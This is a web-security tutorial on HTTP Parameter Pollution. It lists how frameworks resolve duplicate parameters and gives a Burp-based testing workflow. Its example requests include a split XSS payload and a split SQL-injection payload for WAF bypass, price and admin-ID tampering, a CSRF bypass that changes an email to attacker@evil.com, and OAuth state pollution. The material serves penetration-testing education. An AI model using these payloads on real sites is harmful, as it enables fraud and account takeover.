Web

HTTP Parameter Pollution (HPP)

HTTP Parameter Pollution: duplicate parameter behaviour across frameworks, WAF bypass via splitting, CSRF token bypass, server-side query confusion, OAuth state bypass, and Burp testing workflow.

What is HTTP Parameter Pollution

When the same parameter name appears multiple times in a request, different frameworks/servers resolve the conflict differently. An attacker can exploit this inconsistency to confuse application logic, bypass WAFs that inspect only the first occurrence, or manipulate back-end server-side queries.


Framework Behaviour Reference

PlatformDuplicate par=a&par=b result
ASP.NET / IISa,b (comma-joined)
PHP / Apacheb (last wins)
JSP / Tomcata (first wins)
Node.js (Express)['a','b'] (array)
Flask (Python)a (first wins)
Djangob (last wins)
Ruby on Railsb (last wins)
mod_wsgia (first wins)

Detection

Step 1 — Identify target parameters

Use Burp Proxy to capture requests. Look for:

  • Parameters used in queries, filters, or access control
  • OAuth state parameters
  • CSRF tokens
  • IDs used in database lookups

Step 2 — Duplicate the parameter

In Burp Repeater, duplicate the target parameter with different values:

GET /search?q=normal&q=<script>alert(1)</script>
GET /user?id=5&id=1
POST /order HTTP/1.1
item=shirt&price=10&price=1

Observe which value the application uses. Also check error messages — different frameworks produce different error formats on parameter collision.

Step 3 — WAF bypass check

Submit a payload split across two occurrences:

?q=<scr&q=ipt>alert(1)</script>
?q=UNION+SELECT&q=+NULL--

A WAF inspecting only the first parameter sees no threat; the backend may reconstruct both values.


Exploit 1: Price / ID Manipulation

If the backend uses the last (or first) value depending on framework:

POST /checkout
item_id=123&price=100.00&price=0.01

If backend takes the last value → price is $0.01. If it takes the first → $100.

Access control bypass

GET /api/user?id=5&id=1   (id=1 is admin)

If WAF checks first parameter (id=5 — your own account, looks safe), but backend processes last parameter (id=1 — admin account).


Exploit 2: CSRF Token Bypass

If the app checks for a CSRF token but uses a naive “does the parameter exist” check:

POST /settings
csrf_token=invalid_token&csrf_token=valid_token
email=attacker@evil.com

Or inject a second CSRF token in the query string when the app only validates the body parameter:

POST /settings?csrf_token=attacker_value
(body) email=attacker@evil.com

Exploit 3: OAuth State Parameter Pollution

In OAuth flows, the state parameter prevents CSRF. Pollute it:

GET /oauth/callback?state=legit&state=attacker_state&code=valid_code

If the backend processes the second state but doesn’t verify it against the session → state check bypassed.


Exploit 4: URL-Based HPP in REST APIs

GET /api/items/1&items/2
GET /api/report?format=pdf&format=csv

Exploit 5: Server-Side HPP (backend requests)

If the app constructs a URL to call a back-end API and appends user input:

# App builds: http://backend/api?action=search&q=USER_INPUT
# Inject:     q=shoes&action=admin
# Result URL: http://backend/api?action=search&q=shoes&action=admin

If the backend prefers the last action parameter → escalated to admin action.


Burp Suite workflow

  1. Proxy — intercept all requests; identify parameters used in logic, auth, or queries.
  2. Repeater — duplicate each parameter with a different value; observe which the app uses.
  3. Intruder — Pitchfork mode: inject the same parameter with different values in positions 1 and 2 simultaneously.
  4. Logger++ extension — flag responses that differ from the baseline when duplicate parameters are present.
  5. Param Miner — discovers unlinked/hidden parameters that may be susceptible.